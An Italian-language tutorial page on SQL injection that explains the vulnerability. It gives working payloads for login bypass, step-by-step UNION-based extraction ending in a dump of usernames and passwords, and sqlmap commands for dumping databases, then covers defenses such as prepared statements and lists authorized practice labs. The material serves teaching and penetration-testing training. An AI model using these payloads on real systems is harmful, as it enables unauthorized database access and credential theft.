Home › Web Hacking › SQL Injection
SQL Injection (SQLi)
Iniettare comandi SQL dentro i campi di un sito per leggere/modificare il database. Una delle falle più gravi e diffuse.
Teoria: perché succede
Un sito costruisce query SQL mettendo dentro l'input dell'utente. Se non lo "pulisce", il tuo input diventa codice. Esempio di login vulnerabile:
# il codice server (PHP) fa una cosa del genere:
query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'"
Se nel campo user scrivi admin'--, la query diventa:
SELECT * FROM users WHERE user='admin'--' AND pass='...'
Il -- commenta il resto: il controllo password sparisce → entri come admin. Questo è un bypass di autenticazione.
Tipi di SQLi
- In-band / UNION based: i risultati tornano direttamente nella pagina. Il più comodo.
- Blind (boolean/time based): la pagina non mostra dati, ma reagisce diversamente a vero/falso (o ci mette più tempo). Estrai i dati un bit alla volta.
- Error based: il DB stampa errori che rivelano dati.
Passo 1 — trovare l'iniezione
Metti un apice nel parametro e guarda se il sito va in errore:
http://sito/prodotto.php?id=1' # errore SQL = probabile SQLi
http://sito/prodotto.php?id=1 AND 1=1 # pagina normale (vero)
http://sito/prodotto.php?id=1 AND 1=2 # pagina diversa/vuota (falso) → confermato
Passo 2 — UNION based (estrarre dati)
# a) trova il numero di colonne (aumenta finché non dà errore)
?id=1 ORDER BY 1-- -
?id=1 ORDER BY 2-- -
?id=1 ORDER BY 3-- - # errore su 3 → ci sono 2 colonne
# b) trova quali colonne vengono stampate
?id=0 UNION SELECT 1,2-- -
# c) estrai info: versione DB e database corrente
?id=0 UNION SELECT version(),database()-- -
# d) nomi delle tabelle
?id=0 UNION SELECT table_name,2 FROM information_schema.tables-- -
# e) colonne della tabella "users"
?id=0 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'-- -
# f) dump di username e password
?id=0 UNION SELECT username,password FROM users-- -
Passo 3 — automatizzare con sqlmap
Quando l'hai capito a mano, sqlmap fa il lavoro pesante:
# testa il parametro id
sqlmap -u "http://sito/prodotto.php?id=1" --batch
# elenca i database
sqlmap -u "http://sito/prodotto.php?id=1" --dbs
# dump di una tabella
sqlmap -u "http://sito/prodotto.php?id=1" -D nomedb -T users --dump
# richiesta POST/login: salva la richiesta da Burp e passala così
sqlmap -r richiesta.txt --batch --dump
Capisci prima la SQLi a mano, poi usa sqlmap. Nei lab e in esami (OSCP) sqlmap a volte è vietato: devi saperla fare manualmente.
Difesa
- Prepared statements / query parametrizzate: separano codice e dati. È LA soluzione.
- ORM affidabili, input validation, principio del minimo privilegio sull'utente DB.
- Mai fidarsi dell'input utente; niente messaggi d'errore SQL in produzione.
Lab autorizzati
THMSQL Injection LabFacileTutti i tipi di SQLi con esempi pratici e sfide. THMSQHellMedioDiverse SQLi da sfruttare in un'app reale. WEBPortSwigger — SQL injectionFreeI migliori lab gratuiti sul tema, dai base agli avanzati (blind). THMOWASP Top 10FacileInjection è la categoria n.1: qui la vedi nel contesto. Sui tuoi libri: SQL Injection Attacks and Defense (Clarke) — il testo definitivo; The Web Application Hacker's Handbook cap. SQLi; Modern Web Penetration Testing. Vedi Risorse.